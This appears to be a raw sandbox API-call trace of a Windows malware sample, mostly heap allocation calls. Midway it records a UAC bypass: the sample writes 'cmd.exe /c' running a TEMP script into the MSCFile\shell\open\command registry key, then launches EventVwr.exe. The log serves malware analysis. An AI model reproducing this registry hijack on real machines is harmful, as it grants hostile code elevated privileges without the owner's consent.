1 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.184] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.184] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd630 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd468 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efebf8 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd478 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efee18 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd488 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efed90 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd498 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efed08 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeea0) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd458) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efef28) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd448) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efefb0) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd438) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1eff038) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd428) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd648) returned 1 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd648 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd428 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1eff038 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd438 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efefb0 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd448 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efef28 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd458 [0262.185] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeea0 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efebf8) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd468) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efee18) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd478) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efed90) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd488) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efed08) returned 1 [0262.185] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd498) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd630) returned 1 [0262.186] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efed08 [0262.186] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efed90 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efed08) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1eff038) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd428) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efefb0) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd438) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efef28) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd448) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeea0) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd458) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd648) returned 1 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efed90) returned 1 [0262.186] RegOpenKeyExW (in: hKey=0x130, lpSubKey="MSCFile\\shell\\open\\command", ulOptions=0x0, samDesired=0x2010b, phkResult=0x18fb6c | out: phkResult=0x18fb6c*=0x0) returned 0x2 [0262.186] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5000) returned 0x439e98 [0262.186] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.186] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.186] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0262.220] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439e98) returned 1 [0262.220] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x57b0b8, lpbSaclPresent=0x18fb2c, pSacl=0x18fb64, lpbSaclDefaulted=0x18fb2c | out: lpbSaclPresent=0x18fb2c, pSacl=0x18fb64, lpbSaclDefaulted=0x18fb2c) returned 1 [0262.220] RegCreateKeyExW (in: hKey=0x130, lpSubKey="MSCFile\\shell\\open\\command", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2010b, lpSecurityAttributes=0x18fb58, phkResult=0x18fb6c, lpdwDisposition=0x0 | out: phkResult=0x18fb6c*=0x138, lpdwDisposition=0x0) returned 0x0 [0262.221] LocalFree (hMem=0x57b0b8) returned 0x0 [0262.221] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efec80) returned 1 [0262.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\rKi8zA5.cmd", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0262.221] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\rKi8zA5.cmd", cchWideChar=58, lpMultiByteStr=0x439570, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\rKi8zA5.cmd", lpUsedDefaultChar=0x0) returned 58 [0262.221] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439498 [0262.221] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.221] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.222] RegSetValueExA (in: hKey=0x138, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\rKi8zA5.cmd", cbData=0x3b | out: lpData="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\rKi8zA5.cmd") returned 0x0 [0262.222] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.222] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439498) returned 1 [0262.222] RegCloseKey (hKey=0x138) returned 0x0 [0262.222] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5000) returned 0x439e98 [0262.222] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439498 [0262.222] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439498) returned 1 [0262.223] ShellExecuteExW (pExecInfo=0x18fb6c*(cbSize=0x3c, fMask=0x440, hwnd=0x0, lpVerb=0x0, lpFile="EventVwr.exe", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 990 os_tid = 0x110 Thread: id = 1007 os_tid = 0x49c Thread: id = 1019 os_tid = 0x328 Thread: id = 1020 os_tid = 0x31c Process: id = "69" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x71855000" os_pid = "0x794" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "taskhost.exe SYSTEM" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 1005 os_tid = 0x798 Process: id = "70" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x71cce000" os_pid = "0x7b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x240" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 971 os_tid = 0x7b4 Thread: id = 984 os_tid = 0x7e8 Thread: id = 989 os_tid = 0x7fc Thread: id = 992 os_tid = 0x430 Thread: id = 993 os_tid = 0x424 Thread: id = 994 os_tid = 0x1c8 Thread: id = 997 os_tid = 0x160 Process: id = "71" image_name = "eventvwr.exe" filename = "c:\\windows\\system32\\eventvwr.exe" page_root = "0x6f355000" os_pid = "0x54c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "68" os_parent_pid = "0x770" cmd_line = "\"C:\\Windows\\System32\\eventvwr.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1022 os_tid = 0x30c